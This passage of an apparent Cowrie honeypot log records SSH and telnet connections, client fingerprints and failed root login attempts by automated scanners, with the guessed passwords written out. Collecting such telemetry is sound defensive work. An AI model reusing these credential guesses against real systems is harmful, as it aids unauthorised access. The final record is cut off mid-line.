{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:23.959439Z","src_ip":"43.156.227.3","session":"fa216b51e702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:24.196460Z","src_ip":"43.156.227.3","session":"fa216b51e702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.476078510284424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:25.131121Z","src_ip":"209.127.178.212","session":"2ffd7099fdc9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"*&#@#&%","message":"login attempt [root/*&#@#&%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:25.177332Z","src_ip":"43.156.227.3","session":"fa216b51e702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:26.418335Z","src_ip":"43.156.227.3","session":"fa216b51e702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.598706483840942,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:26.523941Z","src_ip":"152.42.224.71","session":"04407446e514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.64154052734375,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:26.840661Z","src_ip":"152.42.224.71","session":"ad0f7641da8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.573933124542236,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:31.236075Z","src_ip":"152.42.224.71","session":"0eb2547d3ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.81594681739807,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:31.349252Z","src_ip":"152.42.224.71","session":"bd249cd35420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40164,"dst_ip":"10.17.0.5","dst_port":23,"session":"6acdc1c275f3","protocol":"telnet","message":"New connection: 152.42.224.71:40164 (10.17.0.5:23) [session: 6acdc1c275f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:34.170468Z"}
{"eventid":"cowrie.session.closed","duration":37.61753726005554,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:34.203537Z","src_ip":"152.42.224.71","session":"dfa614b05ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00330376625061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:35.858925Z","src_ip":"152.42.224.71","session":"4a81deb40836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44292,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38f7d7ee697","protocol":"telnet","message":"New connection: 152.42.224.71:44292 (10.17.0.5:23) [session: d38f7d7ee697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:36.565228Z"}
{"eventid":"cowrie.session.closed","duration":57.16458320617676,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:41.636054Z","src_ip":"152.42.224.71","session":"d64ad1445e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.954596281051636,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:41.826946Z","src_ip":"152.42.224.71","session":"cc8e9267dc60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.92495250701904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:42.291192Z","src_ip":"152.42.224.71","session":"c5a5311b6c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44294,"dst_ip":"10.17.0.5","dst_port":23,"session":"4294f26023d1","protocol":"telnet","message":"New connection: 152.42.224.71:44294 (10.17.0.5:23) [session: 4294f26023d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:42.739299Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42954,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0ee1e6de4e","protocol":"ssh","message":"New connection: 103.149.28.157:42954 (10.17.0.5:22) [session: 2a0ee1e6de4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:43.161321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:43.165365Z","src_ip":"103.149.28.157","session":"2a0ee1e6de4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.02103137969971,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:43.404168Z","src_ip":"152.42.224.71","session":"bc0435c57b6d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:43.415772Z","src_ip":"103.149.28.157","session":"2a0ee1e6de4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksei","message":"login attempt [root/aleksei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:44.163559Z","src_ip":"103.149.28.157","session":"2a0ee1e6de4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:45.416265Z","src_ip":"103.149.28.157","session":"2a0ee1e6de4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6a28268a13","protocol":"telnet","message":"New connection: 152.42.224.71:46268 (10.17.0.5:23) [session: bf6a28268a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:47.563080Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"0488009272dc","protocol":"telnet","message":"New connection: 152.42.224.71:46278 (10.17.0.5:23) [session: 0488009272dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:48.002568Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46282,"dst_ip":"10.17.0.5","dst_port":23,"session":"750fb3f07dd0","protocol":"telnet","message":"New connection: 152.42.224.71:46282 (10.17.0.5:23) [session: 750fb3f07dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:48.263164Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46298,"dst_ip":"10.17.0.5","dst_port":23,"session":"7524fafa42dc","protocol":"telnet","message":"New connection: 152.42.224.71:46298 (10.17.0.5:23) [session: 7524fafa42dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:48.715906Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":32766,"dst_ip":"159.203.135.109","dst_port":22,"session":"279f1c08e70e","protocol":"ssh","message":"New connection: 101.36.108.213:32766 (159.203.135.109:22) [session: 279f1c08e70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:49.893677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:49.902578Z","src_ip":"101.36.108.213","session":"279f1c08e70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:50.113846Z","src_ip":"101.36.108.213","session":"279f1c08e70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.74715614318848,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:50.538406Z","src_ip":"152.42.224.71","session":"1b78d08a2b46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariah","message":"login attempt [root/mariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:50.978251Z","src_ip":"101.36.108.213","session":"279f1c08e70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:52.199723Z","src_ip":"101.36.108.213","session":"279f1c08e70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":54850,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fe5230986e6","protocol":"ssh","message":"New connection: 119.28.115.94:54850 (159.203.135.109:22) [session: 9fe5230986e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:55.139773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:55.145102Z","src_ip":"119.28.115.94","session":"9fe5230986e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:55.374582Z","src_ip":"119.28.115.94","session":"9fe5230986e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasdasd","message":"login attempt [root/asdasdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:56.323613Z","src_ip":"119.28.115.94","session":"9fe5230986e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:57.557232Z","src_ip":"119.28.115.94","session":"9fe5230986e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48742,"dst_ip":"10.17.0.5","dst_port":23,"session":"8466f5b9e380","protocol":"telnet","message":"New connection: 152.42.224.71:48742 (10.17.0.5:23) [session: 8466f5b9e380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:58.023345Z"}
{"eventid":"cowrie.session.closed","duration":43.26897740364075,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:58.478656Z","src_ip":"152.42.224.71","session":"3577391f5347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"3171f695f840","protocol":"telnet","message":"New connection: 152.42.224.71:48756 (10.17.0.5:23) [session: 3171f695f840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:00.214059Z"}
{"eventid":"cowrie.session.closed","duration":120.00204229354858,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:01.569501Z","src_ip":"152.42.224.71","session":"6b7b8f0263ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f729491d3f","protocol":"telnet","message":"New connection: 152.42.224.71:48764 (10.17.0.5:23) [session: 58f729491d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:02.799772Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56688,"dst_ip":"10.17.0.5","dst_port":23,"session":"4314fbffb065","protocol":"telnet","message":"New connection: 152.42.224.71:56688 (10.17.0.5:23) [session: 4314fbffb065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:09.349043Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56702,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa522fe4ee8","protocol":"telnet","message":"New connection: 152.42.224.71:56702 (10.17.0.5:23) [session: 8fa522fe4ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:09.823740Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":50430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b828498ba0","protocol":"ssh","message":"New connection: 94.230.136.33:50430 (159.203.135.109:22) [session: d3b828498ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:10.632132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:10.638496Z","src_ip":"94.230.136.33","session":"d3b828498ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:10.796930Z","src_ip":"94.230.136.33","session":"d3b828498ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56708,"dst_ip":"10.17.0.5","dst_port":23,"session":"846052c4a676","protocol":"telnet","message":"New connection: 152.42.224.71:56708 (10.17.0.5:23) [session: 846052c4a676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:11.392498Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123","message":"login attempt [root/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:11.440142Z","src_ip":"94.230.136.33","session":"d3b828498ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:12.595313Z","src_ip":"94.230.136.33","session":"d3b828498ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56716,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba042536b378","protocol":"telnet","message":"New connection: 152.42.224.71:56716 (10.17.0.5:23) [session: ba042536b378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:13.366802Z"}
{"eventid":"cowrie.session.closed","duration":38.407371044158936,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:14.972473Z","src_ip":"152.42.224.71","session":"d38f7d7ee697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56720,"dst_ip":"10.17.0.5","dst_port":23,"session":"af639ee16106","protocol":"telnet","message":"New connection: 152.42.224.71:56720 (10.17.0.5:23) [session: af639ee16106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:15.779845Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54658,"dst_ip":"10.17.0.5","dst_port":23,"session":"349b47888734","protocol":"telnet","message":"New connection: 152.42.224.71:54658 (10.17.0.5:23) [session: 349b47888734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:19.716695Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":42636,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c00d3f68fd","protocol":"ssh","message":"New connection: 43.153.54.120:42636 (159.203.135.109:22) [session: 79c00d3f68fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.024551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.029445Z","src_ip":"43.153.54.120","session":"79c00d3f68fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-g